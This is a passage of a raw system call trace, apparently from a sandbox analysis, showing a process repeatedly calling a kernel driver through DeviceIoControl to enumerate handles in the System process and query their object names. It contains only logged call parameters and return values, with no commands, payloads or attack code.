KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.361] ObReferenceObjectByHandle (in: Handle=0xffffffff80000648, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214cdb0, HandleInformation=0x0) returned 0x0 [0089.361] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.361] PsReleaseProcessExitSynchronization () returned 0x2 [0089.361] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.361] ObQueryNameString (in: Object=0xfffffa800214cdb0, ObjectNameInfo=0xfffffa8003a6e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a6e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.361] ObfDereferenceObject (Object=0xfffffa800214cdb0) returned 0x2 [0089.361] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.361] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.361] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.361] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.361] PsAcquireProcessExitSynchronization () returned 0x0 [0089.361] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.361] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0089.362] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.362] PsReleaseProcessExitSynchronization () returned 0x2 [0089.362] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.362] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.362] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0089.362] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.362] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.362] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.362] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.362] PsAcquireProcessExitSynchronization () returned 0x0 [0089.362] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.362] ObReferenceObjectByHandle (in: Handle=0xffffffff80000654, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800231b950, HandleInformation=0x0) returned 0x0 [0089.362] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.362] PsReleaseProcessExitSynchronization () returned 0x2 [0089.362] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.362] ObQueryNameString (in: Object=0xfffffa800231b950, ObjectNameInfo=0xfffffa8003a70044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a70044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.362] ObfDereferenceObject (Object=0xfffffa800231b950) returned 0x2 [0089.362] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.363] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.363] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.363] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.363] PsAcquireProcessExitSynchronization () returned 0x0 [0089.363] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.363] ObReferenceObjectByHandle (in: Handle=0xffffffff80000658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214ee50, HandleInformation=0x0) returned 0x0 [0089.363] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.363] PsReleaseProcessExitSynchronization () returned 0x2 [0089.363] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.363] ObQueryNameString (in: Object=0xfffffa800214ee50, ObjectNameInfo=0xfffffa8003a71044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a71044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.363] ObfDereferenceObject (Object=0xfffffa800214ee50) returned 0x2 [0089.363] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.363] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.363] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.363] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.363] PsAcquireProcessExitSynchronization () returned 0x0 [0089.363] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.363] ObReferenceObjectByHandle (in: Handle=0xffffffff8000065c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022cf460, HandleInformation=0x0) returned 0x0 [0089.363] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.363] PsReleaseProcessExitSynchronization () returned 0x2 [0089.363] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.363] ObQueryNameString (in: Object=0xfffffa80022cf460, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.363] ObfDereferenceObject (Object=0xfffffa80022cf460) returned 0x2 [0089.363] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.363] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.363] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.363] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.363] PsAcquireProcessExitSynchronization () returned 0x0 [0089.363] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.363] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0089.363] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.363] PsReleaseProcessExitSynchronization () returned 0x2 [0089.363] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.364] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa8003a73044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a73044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.364] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0089.364] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.364] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.364] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.364] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.364] PsAcquireProcessExitSynchronization () returned 0x0 [0089.364] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.364] ObReferenceObjectByHandle (in: Handle=0xffffffff80000664, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0089.364] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.364] PsReleaseProcessExitSynchronization () returned 0x2 [0089.364] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.364] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa8003a74044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a74044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.364] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0089.364] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.364] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.364] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.364] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.364] PsAcquireProcessExitSynchronization () returned 0x0 [0089.364] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.364] ObReferenceObjectByHandle (in: Handle=0xffffffff80000668, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002152e50, HandleInformation=0x0) returned 0x0 [0089.364] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.364] PsReleaseProcessExitSynchronization () returned 0x2 [0089.364] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.364] ObQueryNameString (in: Object=0xfffffa8002152e50, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.364] ObfDereferenceObject (Object=0xfffffa8002152e50) returned 0x2 [0089.364] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.364] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.364] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.364] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.364] PsAcquireProcessExitSynchronization () returned 0x0 [0089.364] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.364] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0089.365] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.365] PsReleaseProcessExitSynchronization () returned 0x2 [0089.365] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.365] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa8003a76044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a76044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.365] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0089.365] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.365] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.365] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.365] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.365] PsAcquireProcessExitSynchronization () returned 0x0 [0089.365] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.365] ObReferenceObjectByHandle (in: Handle=0xffffffff80000678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002154f20, HandleInformation=0x0) returned 0x0 [0089.365] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.365] PsReleaseProcessExitSynchronization () returned 0x2 [0089.365] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.365] ObQueryNameString (in: Object=0xfffffa8002154f20, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.365] ObfDereferenceObject (Object=0xfffffa8002154f20) returned 0x2 [0089.365] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.365] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.365] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0089.365] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.365] PsAcquireProcessExitSynchronization () returned 0x0 [0089.365] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.365] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0089.365] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.365] PsReleaseProcessExitSynchronization () returned 0x2 [0089.365] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.365] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.365] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0089.365] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.365] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.365] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.366] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.366] PsAcquireProcessExitSynchronization () returned 0x0 [0089.366] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.366] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0089.366] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.366] PsReleaseProcessExitSynchronization () returned 0x2 [0089.366] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.366] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.366] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0089.366] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.366] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.366] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.366] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.366] PsAcquireProcessExitSynchronization () returned 0x0 [0089.366] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.366] ObReferenceObjectByHandle (in: Handle=0xffffffff80000684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002156050, HandleInformation=0x0) returned 0x0 [0089.366] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.366] PsReleaseProcessExitSynchronization () returned 0x2 [0089.366] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.366] ObQueryNameString (in: Object=0xfffffa8002156050, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.366] ObfDereferenceObject (Object=0xfffffa8002156050) returned 0x2 [0089.366] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.366] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.366] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.366] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.366] PsAcquireProcessExitSynchronization () returned 0x0 [0089.366] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.366] ObReferenceObjectByHandle (in: Handle=0xffffffff80000688, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021396e0, HandleInformation=0x0) returned 0x0 [0089.366] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.366] PsReleaseProcessExitSynchronization () returned 0x2 [0089.366] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.366] ObQueryNameString (in: Object=0xfffffa80021396e0, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.366] ObfDereferenceObject (Object=0xfffffa80021396e0) returned 0x2 [0089.367] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.367] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.367] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.367] PsAcquireProcessExitSynchronization () returned 0x0 [0089.367] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.367] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0089.367] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.367] PsReleaseProcessExitSynchronization () returned 0x2 [0089.367] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.367] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.367] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0089.367] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.367] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.367] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.367] PsAcquireProcessExitSynchronization () returned 0x0 [0089.367] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.367] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0089.367] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.367] PsReleaseProcessExitSynchronization () returned 0x2 [0089.367] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.367] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.367] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 